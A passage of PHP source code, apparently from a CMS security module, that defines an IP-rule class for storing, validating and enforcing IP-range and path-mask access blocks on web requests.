if($mask && !array_key_exists($mask, $added))
{
$arMask = array(
"ID" => 1,
"IPRULE_ID" => $IPRULE_ID,
"RULE_MASK" => $mask,
"SORT" => $i,
"LIKE_MASK" => str_replace($arLikeSearch, $arLikeReplace, $mask),
"PREG_MASK" => str_replace($arPregSearch, $arPregReplace, $mask),
);
$DB->Add("b_sec_iprule_excl_mask", $arMask);
$i += 10;
$added[$mask] = true;
}
}
if(CACHED_b_sec_iprule !== false)
$CACHE_MANAGER->CleanDir("b_sec_iprule");
}
}
return true;
}
function UpdateRuleIPs($IPRULE_ID, $arInclIPs=false, $arExclIPs=false)
{
global $DB, $CACHE_MANAGER;
$IPRULE_ID = intval($IPRULE_ID);
if(!$IPRULE_ID)
return false;
if(is_array($arInclIPs))
{
$res = $DB->Query("DELETE FROM b_sec_iprule_incl_ip WHERE IPRULE_ID = ".$IPRULE_ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if($res)
{
$added = array();
$i = 10;
foreach($arInclIPs as $ip)
{
$ip = preg_replace("/[\\s]/".BX_UTF_PCRE_MODIFIER, "", $ip);
if($ip && !array_key_exists($ip, $added))
{
$ar = explode("-", $ip);
$ip1 = self::ip2number($ar[0]);
$ip2 = self::ip2number($ar[1]);
if($ip2 <= 0)
$ip2 = $ip1;
$arIP = array(
"ID" => 1,
"IPRULE_ID" => $IPRULE_ID,
"RULE_IP" => $ip,
"SORT" => $i,
"~IP_START" => $ip1,
"~IP_END" => $ip2,
);
$DB->Add("b_sec_iprule_incl_ip", $arIP);
$i += 10;
$added[$ip] = true;
}
}
if(CACHED_b_sec_iprule !== false)
$CACHE_MANAGER->CleanDir("b_sec_iprule");
}
}
if(is_array($arExclIPs))
{
$res = $DB->Query("DELETE FROM b_sec_iprule_excl_ip WHERE IPRULE_ID = ".$IPRULE_ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if($res)
{
$added = array();
$i = 10;
foreach($arExclIPs as $ip)
{
$ip = preg_replace("/[\\s]/".BX_UTF_PCRE_MODIFIER, "", $ip);
if($ip && !array_key_exists($ip, $added))
{
$ar = explode("-", $ip);
$ip1 = self::ip2number($ar[0]);
$ip2 = self::ip2number($ar[1]);
if($ip2 <= 0)
$ip2 = $ip1;
$arIP = array(
"ID" => 1,
"IPRULE_ID" => $IPRULE_ID,
"RULE_IP" => $ip,
"SORT" => $i,
"~IP_START" => $ip1,
"~IP_END" => $ip2,
);
$DB->Add("b_sec_iprule_excl_ip", $arIP);
$i += 10;
$added[$ip] = true;
}
}
if(CACHED_b_sec_iprule !== false)
$CACHE_MANAGER->CleanDir("b_sec_iprule");
}
}
return true;
}
protected static function ip2number($ip)
{
$ip = trim($ip);
if(strlen($ip) > 0)
$res = doubleval(sprintf("%u", ip2long(trim($ip))));
else
$res = 0;
return $res;
}
function CheckIP($arInclIPs=false, $arExclIPs=false)
{
global $APPLICATION;
$idFound = null;
$ip2check = self::ip2number($_SERVER["REMOTE_ADDR"]);
if($ip2check > 0 && is_array($arInclIPs))
{
foreach($arInclIPs as $id => $ip)
{
$ip = preg_replace("/[\\s]/".BX_UTF_PCRE_MODIFIER, "", $ip);
if($ip)
{
$ar = explode("-", $ip);
$ip1 = self::ip2number($ar[0]);
$ip2 = self::ip2number($ar[1]);
if($ip2 <= 0)
$ip2 = $ip1;
if($ip2check >= $ip1 && $ip2check <= $ip2)
{
$idFound = $id;
break;
}
}
}
}
if($idFound !== null && $ip2check > 0 && is_array($arExclIPs))
{
foreach($arExclIPs as $id => $ip)
{
$ip = preg_replace("/[\\s]/".BX_UTF_PCRE_MODIFIER, "", $ip);
if($ip)
{
$ar = explode("-", $ip);
$ip1 = self::ip2number($ar[0]);
$ip2 = self::ip2number($ar[1]);
if($ip2 <= 0)
$ip2 = $ip1;
if($ip2check >= $ip1 && $ip2check <= $ip2)
{
$idFound = null;
break;
}
}
}
}
if($idFound !== null)
{
if(COption::GetOptionString("security", "ipcheck_allow_self_block")==="Y")
$text = GetMessage("SECURITY_IPRULE_ERROR_SELF_BLOCK", array("#IP#" => htmlspecialcharsEx($_SERVER["REMOTE_ADDR"])));
else
$text = GetMessage("SECURITY_IPRULE_ERROR_SELF_BLOCK_2", array("#IP#" => htmlspecialcharsEx($_SERVER["REMOTE_ADDR"])));
$e = new CAdminException(array(
array(
"id"=>"IPS[".htmlspecialcharsEx($idFound)."]",
"text"=>$text,
),
));
$APPLICATION->ThrowException($e);
$this->LAST_ERROR = $e->GetString();
return true;
}
else
{
$this->LAST_ERROR = "";
return false;
}
}
function CheckFields(&$arFields, $ID)
{
global $APPLICATION;
$this->LAST_ERROR = "";
$aMsg = array();
if(array_key_exists("RULE_TYPE", $arFields))
{
if($arFields["RULE_TYPE"] !== "A")
$arFields["RULE_TYPE"] = "M";
}
if(array_key_exists("SORT", $arFields))
{
if(intval($arFields["SORT"]) <= 0)
$arFields["SORT"] = 500;
}
if(array_key_exists("NAME", $arFields))
{
$arFields["NAME"] = trim($arFields["NAME"]);
}
if(array_key_exists("ACTIVE_FROM", $arFields))
{
$arFields["ACTIVE_FROM_TIMESTAMP"] = MakeTimeStamp($arFields["ACTIVE_FROM"], CSite::GetDateFormat());
}
if(array_key_exists("ACTIVE_TO", $arFields))
{
$arFields["ACTIVE_TO_TIMESTAMP"] = MakeTimeStamp($arFields["ACTIVE_TO"], CSite::GetDateFormat());
}
if(array_key_exists("ACTIVE", $arFields))
{
$arFields["ACTIVE"] = $arFields["ACTIVE"] === "Y"? "Y": "N";
}
if(array_key_exists("ADMIN_SECTION", $arFields))
{
$arFields["ADMIN_SECTION"] = $arFields["ADMIN_SECTION"] === "Y"? "Y": "N";
}
if(array_key_exists("INCL_IPS", $arFields) && is_array($arFields["INCL_IPS"]))
{
foreach($arFields["INCL_IPS"] as $id => $ip)
{
$ip = preg_replace("/[\\s]/".BX_UTF_PCRE_MODIFIER, "", $ip);
if($ip)
{
$ar = explode("-", $ip);
$ip1 = self::ip2number($ar[0]);
if($ip1 <= 0)
{
$aMsg[] = array(
"id"=>"INCL_IPS[".htmlspecialcharsEx($id)."]",
"text"=>GetMessage("SECURITY_IPRULE_ERROR_WONG_IP", array(
"#IP#" => htmlspecialcharsEx($ar[0]),
)),
);
}
if(count($ar) > 1)
{
$ip2 = self::ip2number($ar[1]);
if($ip2 <= 0)
{
$aMsg[] = array(
"id"=>"INCL_IPS[".htmlspecialcharsEx($id)."]",
"text"=>GetMessage("SECURITY_IPRULE_ERROR_WONG_IP", array(
"#IP#" => htmlspecialcharsEx($ar[1]),
)),
);
}
elseif($ip2 < $ip1)
{
$aMsg[] = array(
"id"=>"INCL_IPS[".htmlspecialcharsEx($id)."]",
"text"=>GetMessage("SECURITY_IPRULE_ERROR_WONG_IP_RANGE", array(
"#END_IP#" => htmlspecialcharsEx($ar[1]),
"#START_IP#" => htmlspecialcharsEx($ar[0]),
)),
);
}
break;
}
}
}
}
if(array_key_exists("EXCL_IPS", $arFields) && is_array($arFields["EXCL_IPS"]))
{
foreach($arFields["EXCL_IPS"] as $id => $ip)
{
$ip = preg_replace("/[\\s]/".BX_UTF_PCRE_MODIFIER, "", $ip);
if($ip)
{
$ar = explode("-", $ip);
$ip1 = self::ip2number($ar[0]);
if($ip1 <= 0)
{
$aMsg[] = array(
"id"=>"EXCL_IPS[".htmlspecialcharsEx($id)."]",
"text"=>GetMessage("SECURITY_IPRULE_ERROR_WONG_IP", array(
"#IP#" => htmlspecialcharsEx($ar[0]),
)),
);
}
if(count($ar) > 1)
{
$ip2 = self::ip2number($ar[1]);
if($ip2 <= 0)
{
$aMsg[] = array(
"id"=>"EXCL_IPS[".htmlspecialcharsEx($id)."]",
"text"=>GetMessage("SECURITY_IPRULE_ERROR_WONG_IP", array(
"#IP#" => htmlspecialcharsEx($ar[1]),
)),
);
}
elseif($ip2 < $ip1)
{
$aMsg[] = array(
"id"=>"EXCL_IPS[".htmlspecialcharsEx($id)."]",
"text"=>GetMessage("SECURITY_IPRULE_ERROR_WONG_IP_RANGE", array(
"#END_IP#" => htmlspecialcharsEx($ar[1]),
"#START_IP#" => htmlspecialcharsEx($ar[0]),
)),
);
}
break;
}
}
}
}
if(!empty($aMsg))
{
$e = new CAdminException($aMsg);
$APPLICATION->ThrowException($e);
$this->LAST_ERROR = $e->GetString();
return false;
}
return true;
}
public static function GetRuleInclMasks($IPRULE_ID)
{
global $DB;
$IPRULE_ID = intval($IPRULE_ID);
$res = array();
if($IPRULE_ID)
{
$rs = $DB->Query("SELECT RULE_MASK FROM b_sec_iprule_incl_mask WHERE IPRULE_ID = ".$IPRULE_ID." ORDER BY SORT");
while($ar = $rs->Fetch())
$res[] = $ar["RULE_MASK"];
}
return $res;
}
function DeleteRuleExclFiles($files)
{
global $DB;
if (!is_array($files))
$files = array($files);
foreach ($files as $file)
$DB->Query("DELETE FROM b_sec_iprule_excl_mask WHERE RULE_MASK = '".$DB->ForSQL($file)."'", false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
function AddRuleExclFiles($files)
{
if (empty($files))
return;
$exclToUpdate = array();
if (!is_array($files))
$files = array($files);
foreach ($files as $file)
{
$rsIPRule = CSecurityIPRule::GetList(array("ID"), array(
"PATH" => $file,
"ACTIVE" => "Y",
), array("ID" => "ASC"));
$masks = array();
while ($arIPRule = $rsIPRule->Fetch())
{
if (array_key_exists($arIPRule["ID"], $exclToUpdate))
$masks = array_merge($exclToUpdate[$arIPRule["ID"]],$masks);
else
$masks = array($file);
$exclToUpdate[$arIPRule["ID"]]= $masks;
}
}
foreach ($exclToUpdate as $rule_id => $excl_mask)
{
$masks=CSecurityIPRule::GetRuleExclMasks($rule_id);
$masks = array_unique(array_merge($masks,$excl_mask));
CSecurityIPRule::UpdateRuleMasks($rule_id,false,$masks);
}
}
function GetRuleExclFiles($files)
{
global $DB;
$res=array();
if (!is_array($files))
$files = array($files);
if (!empty($files))
{
$files=array_map(array($DB,'ForSQL'),$files);
$masks=implode("','", $files);
$rs = $DB->Query("SELECT IPRULE_ID FROM b_sec_iprule_excl_mask WHERE RULE_MASK IN ('".$masks."')", false, "File: ".__FILE__."<br>Line: ".__LINE__);
while($ar = $rs->Fetch())
$res[] = $ar["IPRULE_ID"];
}
return $res;
}
public static function GetRuleExclMasks($IPRULE_ID)
{
global $DB;
$IPRULE_ID = intval($IPRULE_ID);
$res = array();
if($IPRULE_ID)
{
$rs = $DB->Query("SELECT RULE_MASK FROM b_sec_iprule_excl_mask WHERE IPRULE_ID = ".$IPRULE_ID." ORDER BY SORT");
while($ar = $rs->Fetch())
$res[] = $ar["RULE_MASK"];
}
return $res;
}
public static function GetRuleInclIPs($IPRULE_ID)
{
global $DB;
$IPRULE_ID = intval($IPRULE_ID);
$res = array();
if($IPRULE_ID)
{
$rs = $DB->Query("SELECT RULE_IP FROM b_sec_iprule_incl_ip WHERE IPRULE_ID = ".$IPRULE_ID." ORDER BY SORT");
while($ar = $rs->Fetch())
$res[] = $ar["RULE_IP"];
}
return $res;
}
public static function GetRuleExclIPs($IPRULE_ID)
{
global $DB;
$IPRULE_ID = intval($IPRULE_ID);
$res = array();
if($IPRULE_ID)
{
$rs = $DB->Query("SELECT RULE_IP FROM b_sec_iprule_excl_ip WHERE IPRULE_ID = ".$IPRULE_ID." ORDER BY SORT");
while($ar = $rs->Fetch())
$res[] = $ar["RULE_IP"];
}
return $res;
}
public static function GetList($arSelect, $arFilter, $arOrder)
{
global $DB;
if(!is_array($arSelect))
$arSelect = array();
if(count($arSelect) < 1)
$arSelect = array(
"ID",
"RULE_TYPE",
"ACTIVE",
"ADMIN_SECTION",
"SITE_ID",
"SORT",
"NAME",
"ACTIVE_FROM",
"ACTIVE_TO",
);
if(!is_array($arOrder))
$arOrder = array();
$arQueryOrder = array();
foreach($arOrder as $strColumn => $strDirection)
{
$strColumn = strtoupper($strColumn);
$strDirection = strtoupper($strDirection)=="ASC"? "ASC": "DESC";
switch($strColumn)
{
case "ID":
case "RULE_TYPE":
case "ACTIVE":
case "ADMIN_SECTION":
case "SITE_ID":
case "SORT":
case "NAME":
$arSelect[] = $strColumn;
$arQueryOrder[$strColumn] = $strColumn." ".$strDirection;
break;
case "ACTIVE_FROM":
case "ACTIVE_TO":
$arSelect[] = $strColumn;
$arSelect[] = $strColumn."_TIMESTAMP";
$arQueryOrder[$strColumn] = $strColumn."_TIMESTAMP ".$strDirection;
break;
}
}
$arQuerySelect = array();
foreach($arSelect as $strColumn)
{
$strColumn = strtoupper($strColumn);
switch($strColumn)
{
case "ID":
case "RULE_TYPE":
case "ACTIVE":
case "ADMIN_SECTION":
case "SITE_ID":
case "SORT":
case "NAME":
case "ACTIVE_FROM_TIMESTAMP":
case "ACTIVE_TO_TIMESTAMP":
$arQuerySelect[$strColumn] = "r.".$strColumn;
break;
case "ACTIVE_FROM":
case "ACTIVE_TO":
$arQuerySelect[$strColumn] = $DB->DateToCharFunction("r.".$strColumn, "FULL")." AS ".$strColumn;
break;
}
}
if(count($arQuerySelect) < 1)
$arQuerySelect = array("ID"=>"r.ID");
$obQueryWhere = new CSQLWhere;
$arFields = array(
"ID" => array(
"TABLE_ALIAS" => "r",
"FIELD_NAME" => "r.ID",
"FIELD_TYPE" => "int",
"JOIN" => false,
),
"RULE_TYPE" => array(
"TABLE_ALIAS" => "r",
"FIELD_NAME" => "r.RULE_TYPE",
"FIELD_TYPE" => "string",
"JOIN" => false,
),
"ACTIVE" => array(
"TABLE_ALIAS" => "r",
"FIELD_NAME" => "r.ACTIVE",
"FIELD_TYPE" => "string",
"JOIN" => false,
),
"ADMIN_SECTION" => array(
"TABLE_ALIAS" => "r",
"FIELD_NAME" => "r.ADMIN_SECTION",
"FIELD_TYPE" => "string",
"JOIN" => false,
),
"SITE_ID" => array(
"TABLE_ALIAS" => "r",
"FIELD_NAME" => "r.SITE_ID",
"FIELD_TYPE" => "string",
"JOIN" => false,
),
"SORT" => array(
"TABLE_ALIAS" => "r",
"FIELD_NAME" => "r.SORT",
"FIELD_TYPE" => "int",
"JOIN" => false,
),
"NAME" => array(
"TABLE_ALIAS" => "r",
"FIELD_NAME" => "r.NAME",
"FIELD_TYPE" => "string",
"JOIN" => false,
),
"ACTIVE_FROM" => array(
"TABLE_ALIAS" => "r",
"FIELD_NAME" => "r.ACTIVE_FROM",
"FIELD_TYPE" => "datetime",
"JOIN" => false,
),
"ACTIVE_TO" => array(
"TABLE_ALIAS" => "r",
"FIELD_NAME" => "r.ACTIVE_TO",
"FIELD_TYPE" => "datetime",
"JOIN" => false,
),
);
$obQueryWhere->SetFields($arFields);
if(!is_array($arFilter))
$arFilter = array();
$strQueryWhere = $obQueryWhere->GetQuery($arFilter);
$bDistinct = $obQueryWhere->bDistinctReqired;
$strMaskJoin = "";
if(array_key_exists("PATH", $arFilter))
{
$path = trim($arFilter["PATH"]);
if($path)
{
$bDistinct = true;
$strMaskJoin = "
INNER JOIN b_sec_iprule_incl_mask im on im.IPRULE_ID = r.ID
LEFT JOIN b_sec_iprule_excl_mask em on em.IPRULE_ID = r.ID AND '".$DB->ForSQL($path)."' like em.LIKE_MASK
";
$strMaskWhere = "('".$DB->ForSQL($path)."' like im.LIKE_MASK AND em.IPRULE_ID is null)";
if($strQueryWhere)
$strQueryWhere = "(".$strQueryWhere.") AND ".$strMaskWhere;
else
$strQueryWhere = $strMaskWhere;
}
}
$strIPJoin = "";
if(array_key_exists("IP", $arFilter))
{
$ip = self::ip2number($arFilter["IP"]);
if($ip > 0)
{
$bDistinct = true;
$strIPJoin = "
INNER JOIN b_sec_iprule_incl_ip ii on ii.IPRULE_ID = r.ID
LEFT JOIN b_sec_iprule_excl_ip ei on ei.IPRULE_ID = r.ID AND ".$ip." between ei.IP_START AND ei.IP_END
";
$strIPWhere = "(".$ip." between ii.IP_START AND ii.IP_END AND ei.IPRULE_ID is null)";
if($strQueryWhere)
$strQueryWhere = "(".$strQueryWhere.") AND ".$strIPWhere;
else
$strQueryWhere = $strIPWhere;
}
}
$strSql = "
SELECT ".($bDistinct? "DISTINCT": "")."
".implode(", ", $arQuerySelect)."
FROM
b_sec_iprule r
".$strMaskJoin."
".$strIPJoin."
".$obQueryWhere->GetJoins()."
";
if($strQueryWhere)
{
$strSql .= "
WHERE
".$strQueryWhere."
";
}
if(count($arQueryOrder) > 0)
{
$strSql .= "
ORDER BY
".implode(", ", $arQueryOrder)."
";
}
return $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
public static function GetActiveCount()
{
$c = COption::GetOptionInt("security", "iprules_count", -1);
if($c < 0)
{
global $DB;
$rs = $DB->Query("SELECT count(*) CNT FROM b_sec_iprule WHERE ACTIVE='Y'");
$ar = $rs->Fetch();
COption::SetOptionInt("security", "iprules_count", $ar["CNT"]);
$c = COption::GetOptionInt("security", "iprules_count", -1);
}
return $c;
}
public static function IsActive()
{
if(isset(self::$bActive) && self::$bActive === true)
return true;
$bActive = false;
foreach(GetModuleEvents("main", "OnPageStart", true) as $event)
{
if(
$event["TO_MODULE_ID"] == "security"
&& $event["TO_CLASS"] == "CSecurityIPRule"
)
{
$bActive = true;
break;
}
}
return $bActive;
}
public static function SetActive($bActive = false, $end_time = 0)
{
if($bActive)
{
if(!CSecurityIPRule::IsActive())
RegisterModuleDependences("main", "OnPageStart", "security", "CSecurityIPRule", "OnPageStart", "2");
}
else
{
if(CSecurityIPRule::IsActive())
UnRegisterModuleDependences("main", "OnPageStart", "security", "CSecurityIPRule", "OnPageStart");
}
self::$bActive = $bActive;
}
public static function CheckAntiFile($return_message = false)
{
$file = COption::GetOptionString("security", "ipcheck_disable_file", "");
$res = (strlen($file) > 0) && file_exists($_SERVER["DOCUMENT_ROOT"].$file) && is_file($_SERVER["DOCUMENT_ROOT"].$file);
if($return_message)
{
if($res)
return new CAdminMessage(GetMessage("SECURITY_IPRULE_IPCHECK_DISABLE_FILE_WARNING"));
else
return false;
}
else
{
return $res;
}
}
public static function OnPageStart($use_query = false)
{
//ToDo: good candidate for refactoring
global $DB, $CACHE_MANAGER;
if(
!CSecuritySystemInformation::isCliMode()
&& CSecurityIPRule::GetActiveCount()
)
{
if(CSecurityIPRule::CheckAntiFile())
return;
$bMatch = false;
$uri = $_SERVER['REQUEST_URI'];
if (($pos = strpos($uri, '?')) !== false)
$uri = substr($uri, 0, $pos);
$uri = urldecode($uri);
$uri = preg_replace('#/+#', '/', $uri);
//Block any invalid uri
if (!static::isValidUri($uri))
include($_SERVER['DOCUMENT_ROOT'].'/bitrix/admin/security_403.php'); //die inside
//Normalize on Windows, because my. == my
if (CSecuritySystemInformation::isRunOnWin())
$uri = preg_replace('#(. )+[/\\\]+#', '/', $uri);
$ip2check = CSecurityIPRule::ip2number($_SERVER["REMOTE_ADDR"]);
if(!$use_query && CACHED_b_sec_iprule !== false)
{
$cache_id = "b_sec_iprule";
if($CACHE_MANAGER->Read(CACHED_b_sec_iprule, $cache_id, "b_sec_iprule"))
{
$arRules = $CACHE_MANAGER->Get($cache_id);
}
else
{
$arRules = array();
$rs = $DB->Query("
SELECT
r.ID,
r.ADMIN_SECTION,
r.SITE_ID,
r.ACTIVE_FROM_TIMESTAMP,
r.ACTIVE_TO_TIMESTAMP
FROM
b_sec_iprule r
WHERE
r.ACTIVE='Y'
AND (
r.ACTIVE_TO IS NULL
OR r.ACTIVE_TO >= ".$DB->CurrentTimeFunction()."
)
");
while($ar = $rs->Fetch())
{
$ar["ACTIVE_FROM_TIMESTAMP"] = intval($ar["ACTIVE_FROM_TIMESTAMP"]);
$ar["ACTIVE_TO_TIMESTAMP"] = intval($ar["ACTIVE_TO_TIMESTAMP"]);
$ar["INCL_MASKS"] = array();
$ar["EXCL_MASKS"] = array();
$ar["INCL_IPS"] = array();
$ar["EXCL_IPS"] = array();
$arRules[$ar["ID"]] = $ar;
}
$rs = $DB->Query("
SELECT
im.IPRULE_ID,
im.PREG_MASK
FROM
b_sec_iprule r
INNER JOIN b_sec_iprule_incl_mask im on im.IPRULE_ID = r.ID
WHERE
r.ACTIVE='Y'
AND (
r.ACTIVE_TO IS NULL
OR r.ACTIVE_TO >= ".$DB->CurrentTimeFunction()."
)
");
while($ar = $rs->Fetch())
if(array_key_exists($ar["IPRULE_ID"], $arRules))
$arRules[$ar["IPRULE_ID"]]["INCL_MASKS"][] = $ar["PREG_MASK"];
foreach($arRules as $ID => $ar)
if(count($ar["INCL_MASKS"]) <= 0)
unset($arRules[$ID]);
$rs = $DB->Query("
SELECT
em.IPRULE_ID,
em.PREG_MASK
FROM
b_sec_iprule r
INNER JOIN b_sec_iprule_excl_mask em on em.IPRULE_ID = r.ID
WHERE
r.ACTIVE='Y'
AND (
r.ACTIVE_TO IS NULL
OR r.ACTIVE_TO >= ".$DB->CurrentTimeFunction()."
)
");
while($ar = $rs->Fetch())
if(array_key_exists($ar["IPRULE_ID"], $arRules))
$arRules[$ar["IPRULE_ID"]]["EXCL_MASKS"][] = $ar["PREG_MASK"];
$rs = $DB->Query("
SELECT
ii.IPRULE_ID,
ii.IP_START,
ii.IP_END
FROM
b_sec_iprule r
INNER JOIN b_sec_iprule_incl_ip ii on ii.IPRULE_ID = r.ID
WHERE
r.ACTIVE='Y'
AND (
r.ACTIVE_TO IS NULL
OR r.ACTIVE_TO >= ".$DB->CurrentTimeFunction()."
)
");
while($ar = $rs->Fetch())
if(array_key_exists($ar["IPRULE_ID"], $arRules))
$arRules[$ar["IPRULE_ID"]]["INCL_IPS"][] = array(
doubleval($ar["IP_START"]),
doubleval($ar["IP_END"]),
);
foreach($arRules as $ID => $ar)
if(count($ar["INCL_IPS"]) <= 0)
unset($arRules[$ID]);
$rs = $DB->Query("
SELECT
ei.IPRULE_ID,
ei.IP_START,
ei.IP_END
FROM
b_sec_iprule r
INNER JOIN b_sec_iprule_excl_ip ei on ei.IPRULE_ID = r.ID
WHERE
r.ACTIVE='Y'
AND (
r.ACTIVE_TO IS NULL
OR r.ACTIVE_TO >= ".$DB->CurrentTimeFunction()."
)
");
while($ar = $rs->Fetch())
if(array_key_exists($ar["IPRULE_ID"], $arRules))
$arRules[$ar["IPRULE_ID"]]["EXCL_IPS"][] = array(
doubleval($ar["IP_START"]),
doubleval($ar["IP_END"]),
);
$CACHE_MANAGER->Set($cache_id, $arRules);
}
foreach($arRules as $arRule)
{
//Check if this rule is active
if(
($arRule["ACTIVE_FROM_TIMESTAMP"] <= 0 || $arRule["ACTIVE_FROM_TIMESTAMP"] <= time())
&& ($arRule["ACTIVE_TO_TIMESTAMP"] <= 0 || $arRule["ACTIVE_TO_TIMESTAMP"] >= time())
)
{
$bMatch = true;
}
else
{
$bMatch = false;
}
//Check if site does match
if($bMatch)
{
if(defined("ADMIN_SECTION") && ADMIN_SECTION===true)
$bMatch = $arRule["ADMIN_SECTION"] == "Y";
else
$bMatch = (!$arRule["SITE_ID"] || $arRule["SITE_ID"] == SITE_ID);
}
else
{
continue;
}
//Check if IP in blocked
if($bMatch)
{
$bMatch = false;
foreach($arRule["INCL_IPS"] as $arIP)
{
if($ip2check >= $arIP[0] && $ip2check <= $arIP[1])
{
$bMatch = true;
break;
}
}
//IP is in blocked range so check if it is excluded
if($bMatch)
{
foreach($arRule["EXCL_IPS"] as $arIP)
{
if($ip2check >= $arIP[0] && $ip2check <= $arIP[1])
{
$bMatch = false;
break;
}
}
}
}
else
{
continue;
}
//IP does match to blocking condition let's check path
if($bMatch)
{
$bMatch = false;
foreach($arRule["INCL_MASKS"] as $mask)
{
if(preg_match("#^".$mask."$#", $uri))
{
$bMatch = true;
break;
}
}
//Check path for exclusion
if($bMatch)
{
foreach($arRule["EXCL_MASKS"] as $mask)
{
if(preg_match("#^".$mask."$#", $uri))
{
$bMatch = false;
break;
}
}
}
}
else
{
continue;
}
//Found blocking rule
if($bMatch)
break;
}
}
else
{
$strSql = "
SELECT r.ID
FROM
b_sec_iprule r
INNER JOIN b_sec_iprule_incl_mask im on im.IPRULE_ID = r.ID
LEFT JOIN b_sec_iprule_excl_mask em on em.IPRULE_ID = r.ID AND '".$DB->ForSQL($uri)."' like em.LIKE_MASK
INNER JOIN b_sec_iprule_incl_ip ii on ii.IPRULE_ID = r.ID
LEFT JOIN b_sec_iprule_excl_ip ei on ei.IPRULE_ID = r.ID AND ".$ip2check." between ei.IP_START and ei.IP_END
WHERE
r.ACTIVE = 'Y'
AND (r.ACTIVE_FROM IS NULL OR r.ACTIVE_FROM <= ".$DB->CurrentTimeFunction().")
AND (r.ACTIVE_TO IS NULL OR r.ACTIVE_TO >= ".$DB->CurrentTimeFunction().")
".(defined("ADMIN_SECTION") && ADMIN_SECTION===true?
"AND r.ADMIN_SECTION = 'Y'":
"AND (r.SITE_ID IS NULL OR r.SITE_ID = '".$DB->ForSQL(SITE_ID)."')"
)."
AND '".$DB->ForSQL($uri)."' like im.LIKE_MASK
AND em.IPRULE_ID is null
AND ".$ip2check." between ii.IP_START and ii.IP_END
AND ei.IPRULE_ID is null
";
$rs = $DB->Query($strSql);
if($arRule = $rs->Fetch())
$bMatch = true;
else
$bMatch = false;
}
if($bMatch)
include($_SERVER["DOCUMENT_ROOT"]."/bitrix/admin/security_403.php");
}
}
protected static function isValidUri($uri)
{
if (trim($uri) == '')
return false;
if (strpos($uri, "\0") !== false)
return false;
if (strpos($uri, '/') !== 0)
return false;
if (CHTTP::isPathTraversalUri($uri))
return false;
return true;
}
function CleanUpAgent()
{
$agentName = "CSecurityIPRule::CleanUpAgent();";
$cleanupDays = 2;
$activeTo = ConvertTimeStamp(time() - $cleanupDays*24*60*60, "FULL");
if(!$activeTo)
return $agentName;
$rs = CSecurityIPRule::GetList(
array("ID"),
array(
"=RULE_TYPE" => "A",
"<=ACTIVE_TO" => $activeTo,
),
array("ID"=>"ASC")
);
while($ar = $rs->Fetch())
{
CSecurityIPRule::Delete($ar["ID"]);
}
return $agentName;
}
}